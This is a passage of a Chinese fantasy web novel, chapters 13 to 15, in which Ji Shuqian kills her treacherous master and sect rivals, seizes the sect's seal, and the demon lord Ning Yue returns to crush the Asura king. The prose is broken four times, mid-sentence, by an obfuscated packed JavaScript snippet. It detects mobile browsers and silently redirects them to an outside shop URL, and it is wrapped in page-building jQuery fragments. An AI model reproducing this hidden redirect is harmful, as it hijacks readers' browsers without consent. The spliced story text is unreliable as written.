;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13746885|145309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,一副全然事不关己的样子。闻声看去,季疏浅身姿灵敏,猛然一个回旋避开元容与的攻击,单腿横扫,趁元容与侧身避开的一瞬反手将虚华猛的一推,长剑从血迹斑斑的白衣穿出。 他低头冷笑一声,元容与你居然跟一个小姑娘过不了几招。 季疏浅猛的抽出长剑,元容与踉跄一步倒在地上:“你……怎么会……”不可置信地盯着季疏浅。 对上他惊讶的目光,季疏浅缓缓俯下身凑近了一点,用虚华的剑尖挑起元容与的下巴,微微一笑,杏眼弯弯的但眼中一片冰冷:“因为……我是师父教的好徒儿啊……” 季疏浅将虚华一抽,在元容与的脖子上留下一道血痕,收回笑容目光如刀子一般看着他:“我杀不了你,但宁樾可以。”随后抬眸看了看殿门口,偏了偏头。 在进殿前她和宁樾商量了一下,她要亲自和他过上一番,再让宁樾来补上最后一刀。 “什……什么。”听到宁樾的名字时,元容与一瞬间僵硬,使劲勾出一个笑容:“小七,你在说什么呢?” 季疏浅瞥他一眼,抬脚离去,元容与回过神了死死抓住裙摆:“小七……小七。”季疏浅正在气头上,用虚华一挥,被他扯住的裙摆整齐裂开。 因着惯性,元容与倒在地上,他愣愣地看着那一片破碎的粉色裙摆,有些不可思议。 正当他死死握着那一片碎纱时,电光火石间,一股煞气扑面而来,只感觉胸膛处突然空了一块。 闻声季疏浅回过头去,就见到宁樾闪身到他面前,掐着脖子一提溜,右手往胸膛一掏,然后用指尖轻轻碾碎了一颗晶莹的珠子,将掐着的人随意一扔。 整套动作行云流水,一气呵成,看的季疏浅目瞪口呆。 元容与缓缓看了看被掏出内丹的胸膛,愣了神,眼中的光芒渐渐散去,如那落山的夕阳一般,散尽余晖。 面前的人居然是……宁樾,他怔怔看着站在殿门口冷冷看他的少女,弱弱的喊道:“小七,小七,为什么你这一世也不肯和我在一起,为什么……” 宁樾看着渐渐灰飞烟灭的元容与,冷笑一声,原来手足真的可以走到这一天,原来他在死之前,没有一句话要对他这个同父异母的哥哥说…… 自己在期待什么,宁樾讽刺的笑了笑,转身离开,亦如当年牢狱中,将匕首插进自己内丹处,笑着离开的元容与。 走到殿门口,粉色的身影立在原地,有些纠结地看着他。 察觉到宁樾的神色,季疏浅垂下眼睫,掩去眼中的神色:“宁樾,我们的交易结束了。” 宁樾没有看她,径直走出殿外,留下了一句“嗯”。 季疏浅回过他发现他已经走远连忙喊住他:“宁樾。” 宁樾闻言停了下来,缓缓回头,幽黑的眼眸深不见底:“交易结束了,我们不相干了。” “我知道,只是你别忘了你答应过我,不会滥杀无辜,你要复仇我绝不管你。” 宁樾看着她笑了笑,忽悠她的都信了,哪天他想拉着三界洲一起陪葬她也管不住他。 看着季疏浅他轻轻点头答应了,然后转眼消失不见。 季疏浅叹了口气,希望她这个决定没有错吧。 13. 斩草除根 季疏浅看了看余晖散尽的夕阳,扭头看向一片狼藉的月华殿,走了进去。 她想过很多种可能,却独独没想到她认了两辈子的师父对她存了一分不可言喻的男女之情。 可她的直觉告诉她没有这么简单,以她和元容与的关系,他怎会对她生出那种感情。 不过他已经灰飞烟灭了,她不会再做纠结,记得阿姐曾给她说过要用发展的眼光看问题…… 季疏浅皱着眉头走进殿内,殿堂之后是他的寝居处,她想去里面的书房找找千年前的事,看看宁樾是否真如传言那般,她要做下一步打算。 神籍因事发生,自行记载,做不得假,她记得元容与的书房内便留了几分神籍。 她走到一面书架上,这一面书架她依稀记得放着神籍,等季疏浅抽出那本神籍时,却发现神籍已然被烧了一半,剩下半卷也被熏得焦黄。 季疏浅将手轻轻覆了上去,以前元容与告诉过她,与神籍通灵,神籍会重现当年景象。 闭上眼,恍然间再睁眼,季疏浅发现自己置身在一片残砖碎瓦中,各种晶石雕着花纹的砖一块一块浮在空中。 时不时还要避开飞来的砖瓦,一座座宫殿崩解,场面宛如末日。季疏浅闭了闭眼,她猜这便是宁樾覆灭神族那一日。 当她睁开眼时,场面又是一转,四处闪着电光的高台上,双眼通红,眉间魔纹妖艳的宁樾执着滴答留血的玄天,笑着擦去剑尖的血。 高高在上睥睨众生,没有半分人情。 浑身漫着黑气的魔将押着一个满脸是血的女人,尽管双手被死死铐住,她仍用头一下一下撞着地面,像是在求情一般。 宁樾仿佛没看见她一般,摩挲着玄天剑,冷冷地抬了下眼皮:“吵。” 季疏浅就看着他轻轻一挥手,刚刚还在磕头的女人便没了动静,左右魔将识相地退下,转眼间女人就灰飞烟灭。 季疏浅倒吸一口凉气,若是哪一天,他想杀自己,是不是也像这样,毫无还手之力。 睁开眼发现又回到了书房,季疏浅叹了口气,可惜只剩这么点儿了。 不过她仍有些怀疑,就这么给宁樾下结论太草率了,眼见为实,她不能只凭这记录草草决定。 深吸一口气,刚走出书房,她就发现大殿被围了个水泄不通,穿蓝色修行衣的弟子全都齐刷刷执剑对着她。 上官逸握着一把剑尖闪着银光的剑正对着她怒道:“乱闯月华殿,你当真视天道山规矩为儿戏吗!” 一旁的上官楹将一边的碎发别到耳后,抬着下巴含笑看着她。 季疏浅冷笑一声,她还正打算去找他们父女呢,这就赶着送上门来。 “规矩?”季疏浅笑了笑:“你身为统兵院首领,怎么来的调兵权,你又讲规矩了吗?”说完还扬眉看了看一旁围着的弟子。 “你……你”,上官逸气得说不出话。上官楹见状皱了皱眉,摆出一副无辜的表情:“我爹爹借用调兵权也是事出有急,你趁上神不在擅闯月华殿,还把这里弄的一片狼藉,这可是大罪。” “好,我擅闯是罪,那看来上官姑娘熟悉天道山的规则啊。”她意味不明的看了看上官楹:“那……谋杀圣女应该罪加一等吧。” 她话音刚落,上官楹怒道:“你胡说什么!空口无凭。” “空口无凭?”季疏浅扬眉看着她,打量一圈弟子:“今日诸位都是人证哦。” 随后她用手在空中凝出一面镜子,镜中缓缓出现了她趁林知意不注意给她套上冰灵镯的情景。 “你们别被她骗了,这就是造假!我要禀告殿下你污蔑我。”上官楹气急败坏。 上官逸闻言,皱着眉拉她一把,用眼神示意她不要把事情闹大了···容与上神偏袒谁他一眼就看得出来。 季疏浅看着她有些狰狞的面目毫不在意地笑了笑:“我没有问你的意见,只是今日诸位可都见到了。” 她盯着上官逸父女,幽幽笑着:“既然上官主管同我讲规矩,那我来给你讲讲什么是规矩。” “我今日可不是什么擅闯月华殿……而是刺杀上神。上官主管,这,该当何罪啊?” 她话一出,整个大殿气氛冷了下来,明明是炎炎夏日,却让人有置身冰窟的感觉。 “什么,你敢亵渎上神,一派胡言!”上官逸呵道,他不信这个小姑娘敢越过层级刺杀上神。 季疏浅望着他,心中叹了口气:“今天我也不只杀他一个……” 虚华凌空划出一道霸道的剑气,上官楹父女迅速抽出长剑,两人一前一后夹击飞身过来的季疏浅,三道凌厉的剑气打得周围的弟子眼花缭乱,几名弟子还你看看我我看看你,犹豫着要不要上前帮忙。 看着两人的夹击,季疏浅皱了皱眉,旋身避开,察觉到后背迎来一股剑气,她用虚华反手一挡,向后退了两步,没有注意到手上的手镯发出了一点莹莹的光。 “恭迎尊上,恭迎尊上。”万魔齐齐俯身,大气不敢出。谁都没料到今日一个模样生的极为俊俏的男子开启了尘封千年的魔宫,把守魔宫的两位士兵面面相觑还拦着不放行,直到双双被打飞才作罢。 这场闹剧直到魔界大将枭寒出面才解决,宁樾缓缓侧过头看着一众魔兵,领头手中握着一把折扇,着浅紫色衣袍,有几分漫不经心的枭寒看清了来人的长相,怔怔立在原地。 好一会儿,枭寒反应过来:“殿下!真的是您,太好了您终于解除封印了。” 诸多魔将这才反应过来,齐刷刷跪了一地:“我等恭迎尊主归朝!” 宁樾瞥了一眼乌泱泱的魔军微微抬了抬下巴,想到刚刚枭寒说的封印一事不由自主地摸了摸手上冰冷触感的镯子。 枭寒知道自家殿下的脾气,连忙跟上,因为激动脸颊还微微泛红:“殿下,千年了,您终于回来了,都怪属下不力没能早点找到解除封印的办法。”说完还长叹一口气。 宁樾侧目看了看他:“不怪你,本王自己都没解开。” “啊?”枭寒嘴张成一个巨大的圆圈:“那殿下……您怎么出来的?” “有人帮了忙。”宁樾看向已经皎月当空的黑夜,心道也不知道是蛮力开的还是巧合,却在不经意间弯了弯嘴角。 枭寒看着转瞬消失的浅笑,瞪大了双眼,不会关了千年关傻了?应当是他看错了,这么多年来他只在自家殿下脸上见到各种嘲讽的笑。 想了想,枭寒转了一圈暗紫色的瞳眸:“殿下,我把这千年魔界的大事理一理给您送过来。” “嗯。”宁樾扬了扬手清理掉千年来王座上积的一层灰,缓缓坐了上去。 想起千年前,因着魔界的魔将大多怕他,这魔宫除了朝会时便空无一人,偶尔枭寒跑来送些重要的文书,其余时间便是空空荡荡,毫无生气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13746886|145309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 原来千年后回来也会是这番光景,宁樾勾了勾嘴角自嘲的笑了笑,他看着枭寒掩上的殿门带走最后一丝亮光,不耐烦的皱了皱眉,亮起手中的魔焰把玩。 宁樾眸子映出蓝色的焰火,猛然他就想到了那个小姑娘,和她在人界的两日,热闹非凡,处处都是烟火气…… 正想着,手腕一阵刺痛,似无数根针绵绵扎入,他握住手腕神色有些不耐,却在闭眼的一瞬看到了离开不久的大殿,看到了刚刚想着的小姑娘被围在大殿上的情景。 手上刺痛不停,他按了按眉心,起身犹豫一瞬化作一道黑烟。 季疏浅正和两人打着,比起上官逸的剑法精妙,上官楹显然更好突破,她抓住上官楹一瞬的破绽,闪身从上官楹背后袭去。 “楹儿。”伴随着一声惨叫,上官楹闷哼一声,喷出一口鲜血。 她颤着眼睫盯着胸口:“爹……爹,我不想死,我不想死……”眼泪没完没了的涌出,她缓缓瘫在上官逸怀里。 季疏浅看着这对父女情深的样子思绪被拉回前世,上官逸死了之后上官楹呢?哦对,在想着跑。 也不知他们上一世对阿姐下死手的时候有没有想过她和南昊师叔的……季疏浅荒谬一笑,毫不犹豫地朝上官逸刺去。 上官逸倒在地上都没想明白她的出剑怎会这么快,仿佛带着血海深仇而来,可明明上官楹都没得手,他甚至还没动手…… 周边围着的弟子愣了一波又一波,在上官楹内丹被毫不留情刺碎的时候他们才意识到这不是简单的打闹,渐渐有了骚动要上去拦住她,可就在犹豫的时候,上官逸就直挺挺的倒在了地上。 季疏浅无视周围的议论,擦了擦虚华剑上的血,突然感到后背一阵疾风扑来,她旋身避开,通体金黄的豹子张着一口长满尖牙的嘴恶狠狠看着她。 她这才反应过来,却觉得有些奇怪,今天下午这只金钱豹去哪里了,她就说怎么那么轻松,原来是这只豹子不在。 周围弟子被金钱豹吓得瑟瑟发抖,一窝蜂朝殿门跑去。随即金钱豹朝他们发出阵阵低吼,后脚一蹬扑了上去。 变故来得太快,季疏浅本以为是冲她来的,没想到居然是无差别攻击。 电光火石间,一道凛冽掌风将绝尘打飞,狠狠撞上了殿壁。半空中冒着一团黑气,宁樾缓缓从黑雾中走出。 季疏浅看了看来人愣了愣,猛然想起来他们俩手上还带了个镯子,她一拍脑袋,怎么把这么重要的事忘了。 然后有些不安地看了看宁樾的神色,心想糟了他要是怪她,她也取不下来了。 宁樾直直朝金钱豹走了过去,刚刚还张牙舞爪的金钱豹一下子收起狠戾,乖乖的匍匐在地上,像一只大型犬一样哈着气。 季疏浅被这前后变化看呆了,就见宁樾伸手在它头上拍了拍,一向浑身带刺的金钱豹居然没有反抗。 她正盯着一魔一豹互动,宁樾却突然看向她这边来,朝她伸出手腕,带着些许杀意地看她一眼:“你说的……好处?” “呃,呃其实……”季疏浅尴尬地不知道编点什么说,目光一转看到跟在宁樾背后的金钱豹,敏捷一笑:“这不是收了只宠物嘛……不虚此行。” 宁樾猛地凑近了她:“宠物?”然后嗤笑一声:“本来就是本王的。” 他低头摸了摸伏在脚边的金钱豹,唤了一声:“滕曜。” 14. 引诱 宠物?季疏浅看着他好一会儿没说话,怎么元容与的宠物变成他的了,难不成他俩还有点关系? 又听到他喊了一句滕曜,季疏浅微微皱起眉头。 “他不是叫绝尘吗?” 金钱豹的眸子瞬间染上痛苦的神色,宁樾细细看了看他,眉间的戾气越发骇人。 “他叫滕曜。”宁樾掌心凝起术法,在他头上轻轻一拍,滕曜迷茫一瞬,就绕着宁樾转圈。 傀儡术?宁樾眼底一片阴翳。 千年前,滕曜伤他和宁瑈的时候,是因为被傀儡术控制吗? 季疏浅没注意他变换的神色,只细细地想着宁樾会和元容与有什么关系。 但她记得很清楚,所有书上记载宁樾都是魔族公主宁瑶曦所出,怎会和神族扯上。 想到这,季疏浅看宁樾的目光染上几分同情……据说千年前宁瑶曦背叛魔界,在神魔大战时偷了魔族阵法图,导致魔族惨败,昔日辉煌沦为笑柄,她的亲哥哥更是惨死沙场,自此神族一家独大。 而宁瑶曦沦为魔族的罪人,而后还生下了连父亲都不知道是谁的宁樾,人人喊打,连着宁樾被万人唾弃,三界之大却无容身之地……尽管都是书籍记载,并无神籍考究,难免有神族杜撰…… 若真是这样,那宁樾也挺惨的,没法选择自己的出身,却在这尘世无能为力…… 宁樾看着眼前眼神有些古怪的少女,一双杏眼瞪的大大的,眼波流转有几分……同情? 宁樾没明白她的脑回路,伸出手腕在她面前扬了扬:“你自己想办法,本王耐心有限。” 季疏浅回过神来,思绪还没完全回到当下,含糊不清地嗯了一声。 宁樾看了看她,没什么喜怒地带着滕曜离开了。 季疏浅呼出了一口气,目光转向四方一个个震惊脸的弟子,再看了看其中几个弟子忍不住颤抖的手,淡淡地走向身后的书房。 周围的弟子被这一下接一下的变故吓得不轻,一个弟子悄悄捅了捅身旁的弟子:“你说我们要不要去汇报一下啊?”旁边的弟子正想答应,一想才发现好像找不到人汇报啊:“你找谁?” “啊……”弟子愣在原地。 季疏浅回到书房,在书架的一层上找到了了一个巴掌大小的木盒。她垂下眼睫,看着这一方小木盒微微出神。木盒中装的是象征天道山最高权力的玉牌,执这一方玉牌便能让整个天道山俯首称臣。 在走到这一步之前,她曾想过让南昊师叔来掌这权,南昊师叔性情温和,胸怀大义是不二人选。 ……可是,权力也意味着责任,在其位谋其职,若南昊师叔坐上了这位子,与妖魔两界周旋一定不会太轻松……更何况,如今宁樾重归三界,有太多的变数了。 她深吸一口气,揭开盒盖取出里面质地温润的玉佩,走了出去。 殿外围了不少长老与弟子,皆在窃窃私语,交谈声在她出来的那刻戛然而止。 季疏浅冷了冷神情,右手举起玉牌缓缓现在众人面前,将众人精彩纷呈的表情尽收眼底。 “即日起,这天道山便由我来主管,玉令在此,可有不满。” 女子神色淡淡的,冷冰冰的声音回响在大殿上,不怒自威。 几位长老皱着眉头互相看着,其中一位胡须花白的长老死死盯着她,气得不住颤抖:“不可!堂堂天道山,岂容你胡来,老夫绝不同意。”另几个长老见他发话也接连应和着:“就是啊,怎么能轮到她……” 季疏浅冷冷看着那位年过半百的长老,略一思索,想起来他可是元容与忠心耿耿的跟班,倒也不奇怪……况且天道山这些老家伙向来讲究尊卑,当年她刚进入天道山时被好些长老的子嗣排挤冷落。 高位之上,心软便是放纵。 季疏浅上一世主掌军权时深谙这个道理,虽然她平时会和弟子们打打闹闹,一起聊天,但该罚人时她从不会心软。 她抬了抬眼皮,厉声道:“我没有在问你们的意见。” “违我者,便和他一个下场。” 话毕,一柄银剑直直捅穿了长老的胸口,花白的胡须沾上斑斑血迹,他瞪大的瞳孔渐渐散去生机。 周围的人一时没了声,季疏浅冷笑了一下,看来这杀鸡儆猴的效果很不错。 季疏浅收起玉令消失在大殿内,留下大气不敢出的弟子在原地面面相觑。 季疏浅没有回调兵院,而是直接去了主殿旁的北峰——文彦殿。 她两世都很少来文彦殿,可能比起南峰,北峰实在没什么存在感,大家对那位掌权者裴祉的唯一印象就是棋艺好。 如今她虽然执着这一方玉令,但她不仅仅需要这一方玉令。 她需要裴祉的支持,整个北峰的支持。没有北峰的支持,无论谁坐上这位置,都会寸步难行…… 整个文彦殿和南峰的风格都不太一样,若说南峰是恍若仙境般飘渺,那么文彦殿就是人族文人的附庸风雅,一进殿中就是淡淡的檀香味。 季疏浅回忆起上一世,她和裴祉的接触少的屈指可数,唯一的印象就是他终日以面具示人,天道山没人见过他的真面目,而且他的棋艺格外的好。 上一世修罗大军来犯,她曾到文彦殿和裴祉商讨战术,修罗人多势众,修罗王更是武艺傲冠三界,大军当前人心惶惶,但裴祉格外气定神闲。戴着银色面具穿蓝色锦袍的男子只淡淡一句:“将军,陪本相下一局棋吧。” 她用布阵的想法和他下了把棋,本来她以为胜卷在握,却在猛然间发现裴祉的棋隐隐有胜利之势……最后她在难以置信中输了这局棋。 记忆中她问他如何胜时,裴祉只淡淡说了一句:“逆锋起笔,最能得势。” 这句话她很受用,她总觉得他在暗示她。一万多的靖和军对上了十万多的修罗大军,看似毫无胜算,实则也能于逆境中搏出一线生机。 在她忆及往昔时,已经走到了院中。袅袅仙雾自一旁的水渠中散出,水渠两旁种着婀娜花草,姿态各异,时不时一两尾鱼自水渠游过。 院中一方平台上搭着一把浅木色书桌,桌角雕着水仙花纹,一身浅青色纱衣的男子倚在桌上,双眼微闭,似在小憩。 “裴先生。”季疏浅轻轻唤了一声。 裴祉缓缓睁开眼,看见来人有一瞬惊讶,随即礼貌道:“季姑娘,今日怎来我这处了?” 季疏浅微微颔首:“疏浅无礼,今日文彦殿外无人,晚辈就直接进来了,有事……想求 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13746887|145309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 先生帮忙。” 裴祉看着他,银色的面具后神情莫测:“季姑娘但说无妨。” 季疏浅摊开右手,玉牌赫然躺在她的手心中间:“裴先生,这天道山易主了,我希望您能助我一臂之力。” 裴祉露出的一双眼瞳震惊地看着她,季疏浅对他的反应毫不意外:“裴先生,元……我师父执政之时,北峰权力大都被他收回,若先生愿助我,我也愿将权力交还给先生,先生意下如何?” 看着面前浑身泛着冷意的少女,裴祉神情微怔,一双幽黑的眼睛盯了她半晌:“季姑娘的意思在下不明白。” 季疏浅看着面前装不懂的人,轻笑了声,怎么还演上了呢。 她笑了笑向前踱了两步:“裴先生是聪明人,不必和我玩这套。” 裴祉正拿着茶壶倒茶的手一顿,片刻后:“季姑娘,我可以答应你,不过季姑娘得答应我两件事。” 季疏浅思忖一下,只要不是太过离谱的她都能接受:“先生但说无妨。” 裴祉轻笑两声:“我这个人也没有什么利己的想法,就是如今修罗势大,修罗王野心勃勃,若有一日修罗进攻人界,望姑娘不惜一切代价抵御修罗。” 他竟是这么早就料到了吗?季疏浅愣了愣,听他的意思还真是从人界的角度出发,这个要求不管她有没有坐上这个位置,想来都会不遗余力。 “先生以大局为重,疏浅佩服先生格局,先生放心,若真有那一天,我定不会让修罗染指人界半步。” 裴祉看着她,眼底似乎有欣慰之色:“第二件事……季姑娘应该听说过千年前覆灭神族的魔王宁樾吧?” 季疏浅微不可查地皱了皱眉,跟他有关? “嗯,自然听过。” 裴祉叹了口气:“曾有人预测过那魔头的封印应该撑不了多久了,恐怕过个十多年就会冲破封印,届时望姑娘能不惜一切代价将他重新封印。” 季疏浅浑身一阵冷意,不知所措地看着地上铺着的白玉,他应该还不知道宁樾已经解除封印了吧? 还是她放出来的。 裴祉目光扫过她,继续说道:“千年前我曾见过他大开杀戒的样子,一切生灵在他眼中皆是草芥,他若重归三界,定会生灵涂炭。“ 季疏浅抬起眼皮,藏不住眼底惊讶:“先生千年前曾见过?” 见她有些怀疑,裴祉撩开手臂上的青纱衣袖:“季姑娘不信可以看看这个。” 裴祉的肤色很白,白皙的右手手臂上有一片狰狞可怖的暗红色疤痕,疤痕弯弯扭扭盘在手臂上,触目惊心。 “这是那魔头的魔焰灼烧的,只是略微碰到就这样了。” 季疏浅怔住了,她的确见过宁樾把玩那魔焰,也的确听说过魔焰的威力有多骇人。 “季姑娘,以我对那魔头的了解,他应当有很强的自毁倾向,且极有可能拉着无辜之人陪葬。” 季疏浅紧紧咬着下唇没说话,裴祉瞧了一眼她:“其实千年前的事与世人所知有些出入,季姑娘应该不知,宁樾有个亲妹妹叫宁瑈,宁瑈死后宁樾没有亲人,听说就此杀上神界……” 沉默片刻,季疏浅缓缓开口:“若真到了那一天,先生可有什么办法将他封印?” 15. 血洗前仇 其实从心里季疏浅仍有些怀疑,她和宁樾几天的相处,也只是发现他怎么不爱说话且有喝血这个癖好。 况且在她将宁樾封印解除时曾想到过一个办法,元容与曾有一把匕首名唤灭影,元容与曾将那把匕首小心翼翼地递给她:“小七,这把匕首虽不能灭神,却能伤神,你拿着防身吧。” 那时她还尚不明白,只将匕首接过好奇地瞪大眼睛端详:“师父,如果我用这个捅了神,会怎么样啊?” 元容与沉吟片刻:“会昏厥片刻吧。” 那时她还十分失望地瘪了瘪嘴,还以为多厉害呢,不过如此嘛。 当时她便想好用这把匕首捅了宁樾,趁他昏厥的时候把他带回弑神海封印。 虽然这样也太没有人情味了,可重活一次她想好好把握机会,无关紧要的人都不会在她考虑范围内…… 裴祉看着她若有所思:“季姑娘听说过梵净城吗?” 梵净城?季疏浅想了想倒是有印象,梵净城是人们口中的极乐之地,这城在三界之中格外特殊,梵净城位于曾经的魔界中,后来修罗分裂,梵净城就夹在了修罗和魔界中。 按说这两边都虎视眈眈,硝烟四起,可无数次战争从未波及到梵净城。 她不明白裴祉怎么突然提到梵净城,毕竟梵净城的城主佛子和佛女从不参与三界纷争。 “听说过。” “听闻梵净城有一首秘乐名为皎月调,皎月调可造出幻梦,你可借皎月调回到千年前,在他成魔之时杀了他。”他的语气瞬间冰冷,似有潮水滔天般恨意。 季疏浅望向他有些不解:“既是幻梦,怎么能杀了他呢?” “因为将他的魂入梦,在皎月调中魂灭,在现实中他也会魂灭。” 季疏浅犹豫一瞬:“梵净城向来不参与世事纷争,他们应当不会将皎月调给我们用吧。” “不,他们会。宁樾视三界生灵如草芥,梵净城向来仁爱,不会容许他在这世上无恶不作。” 季疏浅看着他片刻:“好,我答应了,也希望先生不要食言。”话毕,消失在了文彦殿。 裴祉一手撑着头,一手把玩着冰裂纹瓷杯,眼神晦暗。半柱香后,冷声道:“贺溟。” “属下在。”一身黑衣的男子半跪在地上,面色有些苍白。 “如何了?” 贺溟微微低头:“回殿下,宁樾在魔界阅了这千年发生的事情,应当准备解决修罗了。” 裴祉看着手中茶杯,半晌没开口。 “殿下还有一事。”贺溟匆匆补道:“是人界皇室的事,皇后有意寻回她和那位侍卫的孩子扶他上位……” 裴祉微微闭了闭眼,有些不耐:“她要坏我事,那就留不下她了。”说完眼底带着些意味深长的笑意看着贺溟。 “是。”贺溟正应下,没有发现不经意间声音有些颤抖。 “等等。”裴祉想到什么:“不急……人界只是这局棋中最无关紧要的一颗,当务之急不是人界,你去留意着宁樾的动静。” “是。”贺溟附身应下,转瞬消失。 裴祉心情有些烦躁,攥着手中的茶杯,眼中透着一股冷意。 现在还不急着看他和皇后的戏……等一切解决后顺手除掉便是。 只是……想到宁樾和季疏浅他心中便止不住烦躁,重生而来,这一世和上一世天差地别。 裴祉修长的手指在桌上敲了敲,放下茶杯执起一枚棋子,棋子质地温润无一丝杂色……倒是枚好棋。 想到上一世他布下一局好棋,眼看就要大功告成,他那个好哥哥一招致命,满盘皆输……幸好他还有母后给的那颗灵石,最后关头捏碎灵石回溯了时光…… 本以为这一世棋局的改动只需将他的好哥哥除了……好像还有个人也带着记忆回来了呢。 想到这他神情透着一股狠意,“哒”的一声狠狠将棋子按在棋盘上。 不过一颗棋子…… - 魔界与修罗的交界处,魔将脚步匆忙,沉寂多年的边境今日弥漫着战火的硝烟。 “尊上。”枭寒双手抱拳朝宁樾行了个礼。 宁樾一身黑袍,袍底用暗金色线绣着极为繁复的花纹,领口也用金丝线绣着麒麟纹,发束金冠,整个人颇具上位者的威严。 他负手立在山巅:“嗯,修罗那边什么情况?” 枭寒略一想,嘲笑道:“殿下你不知道那个百里珧听说您回来了吓得半死,求和信都发了几封。”狡黠一笑道:“不过殿下,我都派人烧了,看着都烦。” 宁樾没有答话,枭寒见状有些愤愤不平:“殿下,真是太气人了,想当年把百里珧就回来,一直拿他当哥们,他呢。不仅害殿下被封印,还叛出魔界自立为王,我呸。” 宁樾看了看他:“走吧。” 放眼望去黑压压的魔军无边无际,百里珧立在修罗王城上咬牙切齿问道旁边的侍卫:“那几个领兵的呢?人呢?” 被点到的侍卫颤颤巍巍开口:“他们……他们……今早就投了魔军。” “反了!一个二个都反了!”百里珧气的一拳砸在王城墙上,“砰”的一声,王城缺了一角。似乎还不解气,百里珧双眼通红抓起侍卫扔了下去,半空中余下一声惨叫。 看到城下披着战甲列阵的修罗军他才恢复了一丝理智,没事,没事,他还有修罗军,他们是他的傀儡,不会反的。 百里珧飞身到阵前,就见魔军士气大涨,正中心立着一道久违的熟悉身影。 “宁……宁樾,别来无恙啊。”他有些僵硬地笑了笑,宁樾是什么人他再清楚不过了,他肯定不会放过他的背叛,想到这里他握着长枪的手止不住颤抖。 宁樾看着他有些好笑,自己当年还真拿他当成患难之交……真是可笑。 宁樾轻轻侧头:“枭寒,列阵。” “殿下,你要一个人……”话没说完,宁樾已经闪身出阵。 百里珧看着闪身过来的宁樾连忙拿枪护在面前,只是宁樾的速度比他想象中的快多了,长枪被宁樾夺过拿在手中。 宁樾轻瞥了一眼长枪,冷笑着轻轻一折,长枪应声断成两截。 百里珧怔怔看着长枪,猛地跪下:“尊上千年前我真是被猪油蒙了心,真的,你原谅我这一次,就这一次,从今往后我可以给你当牛做马,任你差遣……” 他话还没说完,宁樾一把掐住他脖子提起来,眼瞳渐渐染上血红色:“本王最恨背叛之人。” 宁樾面无表情地看着他,右手掌心燃起一簇幽冥火,歪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13746888|145309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头看了看手中的火幽幽道:“千年前你害本王日夜被这火灼烧,今日到你了。”随即把火往他内丹处一点。 百里珧死死晃动双腿想要挣脱,一根根青筋暴起,双瞳死死的盯着宁樾:“你……你这个怪物就该去死……怎么就烧不死你呢……”一边说着,一边悄悄在背后竖起食指。 他的一举一动被宁樾瞧在眼里,他对那番话倒不甚在意,毕竟这么说的人在他记忆中太多了…… 他一把将百里珧内丹点燃,幽蓝色火焰自他身上燃气,百里珧痛苦地惨叫着在地上蜷成一团。 得了令的修罗军自四面八方涌上,突然一个虚无的手铐铐在他手上,宁樾扬眉看了看手上的手铐……和那一只跟他格格不入的镯子。 真是久违的感觉,想当初他自觉控制不住自己时用这手镯将自己铐起来……没想到落到他手上了。 季疏浅正从月华殿中翻出灭影,手腕突然传来一阵刺痛,她忍不住皱眉,宁樾出事了? 正准备走出殿门,一位弟子脚步匆匆闯了进来,见她立马行了个礼:“殿下,急报。” 季疏浅在听到殿下时还愣了一瞬,在看见他神情的焦急后她正色道:“说吧。” “魔王宁樾解开封印了,他……他现在已经攻进修罗了。”小弟子说着说着,渐渐带上一丝哭腔。 他们今天听到这个消息时都觉得完蛋了,三界谁不知道宁樾的名头啊。 闻言季疏浅皱了皱眉:“知道了,立马封锁消息。” 小弟子看着她出气的淡定,不经在心里感叹,这心理素质也太好了,啧啧啧,面不改色啊。 心理素质好的季疏浅一边在赶去的路上一边想,这真是个千载难逢的好时机,简直天助我也。 宁樾看着四周蜂拥上来的修罗军冷笑一声:“傀儡军?” 枭寒远远见形势不对,连忙传音道:“殿下,需要帮忙吗?” “不用。”宁樾低头瞧了瞧手上的手铐冷笑了一声,是啊他就是个杀不死的怪物。 右手转出一个结界将十来万的修罗军的后路封死,宁樾冷笑着从掌心燃起熊熊烈火自他向周围烧去,霎时结界内一片幽幽蓝色。 